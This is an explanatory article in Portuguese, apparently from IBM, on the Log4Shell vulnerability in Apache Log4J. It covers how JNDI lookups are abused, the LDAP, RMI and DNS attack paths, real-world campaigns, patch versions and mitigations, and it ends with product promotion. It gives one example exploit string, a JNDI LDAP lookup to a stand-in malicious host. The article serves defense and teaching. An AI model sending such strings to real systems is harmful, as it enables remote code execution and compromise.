Log4Shell, também conhecida como vulnerabilidade Log4J, é uma vulnerabilidade de execução remota de código (RCE) em algumas versões da biblioteca Apache Log4J 2 Java. O Log4Shell permite que hackers executem praticamente qualquer código que desejarem nos sistemas afetados, concedendo-lhes essencialmente controle total de aplicativos e dispositivos.
Log4Shell—Identificador CVE de vulnerabilidades comuns e exposição: CVE-2021-44228—tem uma pontuação do Common Vulnerability Scoring System (CVSS) de 10, denotando uma vulnerabilidade crítica. É considerada uma das vulnerabilidades mais perigosas de todos os tempos devido ao seu amplo alcance e às consequências potencialmente devastadoras.
Estima-se que 10% de todos os ativos digitais (link reside fora de ibm.com) — incluindo aplicativos da web, serviços de nuvem e endpoints físicos como servidores — estavam vulneráveis ao Log4Shell no momento de sua descoberta. Os hackers podem usar o Log4Shell para fazer praticamente qualquer coisa: roubar dados (exfiltração de dados), instalar ransomware, capturar dispositivos para botnets e muito mais.
Os pesquisadores de segurança na nuvem descobriram o Log4Shell em novembro de 2021. O Apache lançou um patch em dezembro de 2021, e todas as versões do Log4J a partir da 2.17.1 em diante estão livres do Log4Shell e suas vulnerabilidades associadas. No entanto, a Agência de Cibersegurança e de Infraestrutura (CISA) informa que o Log4Shell ainda está entre as vulnerabilidades mais comumente exploradas (link fora de ibm.com). O Log4J é difundido na cadeia de suprimentos de software, portanto, encontrar e corrigir cada instância vulnerável pode levar anos.
Enquanto isso, as equipes de segurança podem tomar outras medidas para reduzir a exposição à rede, discutidas mais detalhadamente abaixo.
Obtenha insights para gerenciar melhor o risco de uma violação de dados com o relatório mais recente do custo das violações de dados.
Cadastre-se no X-Force Threat Intelligence Index
O Log4Shell afeta o Log4J, uma biblioteca de registro de código aberto mantida pela Apache Software Foundation. Log4J é um logger, um componente de software que registra informações e eventos em um programa, como mensagens de erro e entradas do usuário.
Log4J não é um programa independente, mas um pacote de código que os desenvolvedores podem conectar aos seus aplicativos Java em vez de criar loggers do zero. As principais organizações — incluindo Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco e muitas outras — usam o Log4J em seus softwares e serviços.
O Log4Shell resulta de como as versões vulneráveis do Log4J lidam com dois recursos relacionados: Java Naming and Directory Interface (JNDI) e substituições de pesquisa de mensagens. Cada recurso por conta própria seria inofensivo, mas a interação entre eles dá aos hackers uma arma potente.
O JNDI é uma interface de programação de aplicativos (API) que os aplicativos Java usam para acessar recursos hospedados em servidores externos. Uma pesquisa JNDI é um comando que diz ao aplicativo para ir a um servidor e baixar um objeto específico, como um pedaço de dados ou um script. Versões mais antigas do Log4J 2 executam automaticamente qualquer código baixado dessa maneira.
A substituição da pesquisa de mensagens permite que os usuários e aplicações enviem variáveis para Log4J dentro das mensagens de log usando uma sintaxe específica: ${prefix:name}. Quando Log4J encontra essa sintaxe, ela resolve a variável e registra o valor no log. Por exemplo, se Log4J recebeu uma mensagem que diz
${java:version}
descobriria a versão atual do Java em execução no dispositivo. No log, registraria: "Java versão X.XX."
De outra forma, o Log4J não trata substituições de pesquisa de mensagens como texto sem formatação. Ele os trata como comandos e age com base no que eles dizem. Os hackers podem aproveitar esse fato para enviar comandos maliciosos de pesquisa de JNDI para aplicativos que executam versões vulneráveis do Log4J. Por exemplo, um hacker pode enviar ao Log4J uma string como esta:
${jndi:ldap://myevilwebsite.biz/maliciouscode}
Quando Log4J recebeu esta mensagem, ela resolveria a variável entrando em contato com o servidor em myevilwebsite.biz e baixando o objeto localizado em /maliciouscode. Esse processo levaria a Log4J a executar qualquer código Java que o hacker tivesse travado nesse local, geralmente malware.
Os hackers podem usar protocolos padrão para acionar o Log4Shell, facilitando a detecção de tráfego malicioso. A maioria dos ataques Log4Shell utiliza um dos seguintes protocolos: Lightweight Directory Access Protocol (LDAP); Remote Method Invocation (RMI); ou Domain Name System (DNS).
O LDAP é usado para armazenar dados em um local central onde diferentes aplicativos e serviços podem acessá-los. O LDAP é o método mais comum usado pelos hackers para explorar o Log4Shell. Um ataque típico funciona da seguinte forma:
- O hacker configura um servidor LDAP e armazena códigos maliciosos nele.
- O hacker envia uma pesquisa JNDI para um programa usando Log4J.
- A pesquisa JNDI faz com que o programa entre em contato com o servidor LDAP do atacante, baixe a carga útil e execute o código.
A RMI é um recurso Java que permite que uma aplicação em um dispositivo diga a uma aplicação em outro dispositivo para fazer algo, como compartilhar informações ou executar uma função.
Os ataques de RMI funcionam basicamente da mesma forma que os ataques de LDAP: hackers configuram um servidor de RMI, enganam o alvo para que ele se conecte com o servidor e enviam comandos maliciosos de volta ao alvo.
Ataques de RMI não são muito comuns, mas alguns hackers (link reside fora do ibm.com) estão mudando para o RMI porque cada vez mais organizações estão bloqueando completamente o tráfego LDAP.
Os hackers usam DNS para procurar alvos. Eles enviam uma pesquisa JNDI para um programa, pedindo que ele se conecte a um servidor DNS que os hackers controlam. Se o servidor DNS registrar uma conexão do programa, os hackers saberão que o sistema está vulnerável a novas tentativas de invasão do Log4Shell.
Como o Log4Shell permite que hackers executem códigos arbitrários, os cibercriminosos podem usar a falha para lançar uma variedade de ataques. A Log4Shell também era uma vulnerabilidade de dia zero no momento da descoberta, o que significa que os hackers começaram a explorá-la.
Alguns dos primeiros ataques Log4Shell atacam computadores infectados com criptojackers, um tipo de malware que usa um dispositivo para minerar criptomoedas sem o conhecimento do proprietário. O Mirai botnet também usou a falha para assumir o controle dos dispositivos.
Vários ataques de ransomware aproveitaram o Log4Shell. Os mais proeminentes incluem a tensão Khonsari, que se espalhou pelo videogame Minecraft e o NightSky, que visava sistemas que executam o VMware Horizon.
Os corretores de acesso usaram o Log4Shell para estabelecer pontos de apoio em redes corporativas de alto valor, muitas vezes soltando secretamente cavalos de Tróia de acesso remoto (RATs) em sistemas comprometidos. Os corretores de acesso então vendem esses pontos de apoio para afiliados de ransomware como serviço ou outros hackers na dark web.
Enquanto o Apache trabalhava na correção do Log4Shell após sua descoberta, um punhado de falhas relacionadas veio à tona. Em última análise, foi necessário quatro patches para corrigir completamente o Log4Shell e todas as vulnerabilidades associadas.
O primeiro patch Apache lançado, Log4J versão 2.15.0, fechou grande parte da vulnerabilidade do Log4Shell. No entanto, os hackers ainda podem enviar pesquisas maliciosas de JNDI para sistemas que usavam determinadas configurações não padrão. O Apache resolveu essa falha com o Log4J versão 2.16.0.
A versão 2,16,0 também ficou incompleta. Os hackers podem usar pesquisas de mensagens maliciosas para enviar sistemas vulneráveis a recursões infinitas, levando a ataques de denial-of-service. Versão 2,17 do Apache liberada para corrigir esta falha.
Menos grave do que as outras, essa falha permitia que hackers executassem código remotamente, mas eles precisavam obter permissões elevadas e alterar as configurações de log primeiro. O Apache abordou isso com um quarto patch, Log4J versão 2,17,1.
Os pesquisadores de segurança recomendam fortemente que as organizações priorizem a atualização de todas as instâncias do Log4J em suas redes para a versão mais recente, ou pelo menos na versão 2.17.1. O Patching é a única maneira de remediar completamente o Log4Shell.
No entanto, as equipes de segurança podem não conseguir corrigir todas as instâncias do Log4J em suas redes imediatamente. As instalações vulneráveis do Log4J geralmente estão presentes como dependências indiretas, o que significa que os ativos da empresa não usam o Log4J, mas dependem de outros aplicativos e serviços que o fazem. De acordo com o Google (link fora de ibm.com), as instâncias Log4J mais vulneráveis são mais de um nível de profundidade, e algumas são de até nove níveis de profundidade.
Quando o Log4J é uma dependência indireta, torna-se muito mais difícil para as equipes de segurança localizá-lo. Quando o encontrarem, talvez não consigam corrigi-lo, dependendo de onde ele existe. Se o Log4J estiver enterrado em um pacote de software usado por um aplicativo de terceiros, a equipe de segurança precisará que o fornecedor atualize o Log4J.
Mesmo quando o Log4J está presente como uma dependência direta, pode ser difícil identificá-lo. O processo de desenvolvimento de software é altamente complexo hoje, contando com grandes equipes e vastas matrizes de código pré-existente. Os desenvolvedores podem não perceber que seus aplicativos contêm versões vulneráveis do Log4J, pois essas instâncias podem ficar dentro de pacotes de software pré-escritos que os desenvolvedores não codificaram.
A partir de dezembro de 2022, 25% dos downloads do Log4J (link fora de ibm.com) ainda estavam vulneráveis ao Log4Shell, o que significa que as pessoas estão usando versões desatualizadas do Log4J para construir novos ativos.
O Log4J é tão amplamente usado na cadeia de suprimentos de software que encontrar e corrigir cada instância vulnerável levará pelo menos uma década, de acordo com o Departamento de Segurança Interna dos EUA (link fora de ibm.com).
Enquanto isso, as equipes de segurança podem tomar outras medidas para reduzir a exposição à rede.
As equipes de segurança podem proibir substituições de pesquisa de mensagens no Log4J, fazendo com que o Log4J trate as mensagens dos hackers como texto simples, em vez de comandos a serem executados.
Há duas maneiras de fazer isso: alterando o endereço "Log4J2.formatMsgNoLookups" propriedade do sistema para "true" ou definir o valor da variável de ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS para "true."
Observe que as versões não corrigidas do Log4J ainda sofrem com o CVE-2021-45046, que permite que os hackers enviem pesquisas JNDI mal-intencionadas quando determinadas configurações não padrão são usadas. Proibir pesquisas de mensagens, portanto, não é infalível.
Os aplicativos Java usam classes para definir o que um programa pode fazer. No Log4J, a classe "JNDIlookup" controla as pesquisas JNDI. Se esta classe for removida do diretório de classes do Log4J – também conhecido como classpath – então as pesquisas JNDI não poderão mais ser executadas.
A desativação das buscas de JNDI impede que hackers enviem comandos maliciosos, mas também pode afetar outras funções do Log4J e os aplicativos que o usam. Também pode ser difícil garantir que cada instância da turma seja removida.
As organizações podem usar firewalls e outras ferramentas de cibersegurança para bloquear o tráfego de ativos vulneráveis voltados para a Internet para servidores controlados por invasores. Por exemplo, as equipes de segurança podem definir regras para não permitir todas as conexões usando protocolos LDAP ou RMI.
Bloquear o tráfego de saída em vez do tráfego de entrada ajuda a evitar falsos positivos, pois os fornecedores e pesquisadores de segurança podem estar verificando ativos para encontrar instâncias persistentes e sem correção.
A desvantagem é que os firewalls podem bloquear ou frustrar as conexões de saída necessárias, especialmente se uma organização usa LDAP ou RMI por motivos legítimos.
Supere ataques com um conjunto de segurança conectado e modernizado. O portfólio de QRadar está incorporado à IA de nível empresarial e oferece produtos integrados para segurança de endpoints, gerenciamento de logs, SIEM e SOAR, todos com uma interface de usuário comum, insights compartilhados e fluxos de trabalho conectados.
Implementadas localmente ou em uma nuvem híbrida, as soluções de segurança de dados da IBM ajudam a obter maior visibilidade e insights para investigar e remediar ameaças cibernéticas, aplicar controles em tempo real e gerenciar a conformidade regulatória.
A busca proativa de ameaças, o monitoramento contínuo e a investigação profunda das ameaças são apenas algumas das prioridades enfrentadas por um departamento de TI já muito ocupado. Contar com uma equipe de resposta a incidentes confiável à disposição pode reduzir o tempo de resposta, minimizar o impacto de um ciberataque e auxiliar na recuperação mais rápida.
Hackear, ou hacking cibernético, é a ação de obter acesso não autorizado a um dispositivo digital, sistema de computador ou rede de computadores, através de meios não convencionais ou ilícitos.
Um software malicioso, ou malware, é qualquer programa projetado para prejudicar sistemas de computador ou seus usuários, como ransomware, cavalos de Troia e spyware.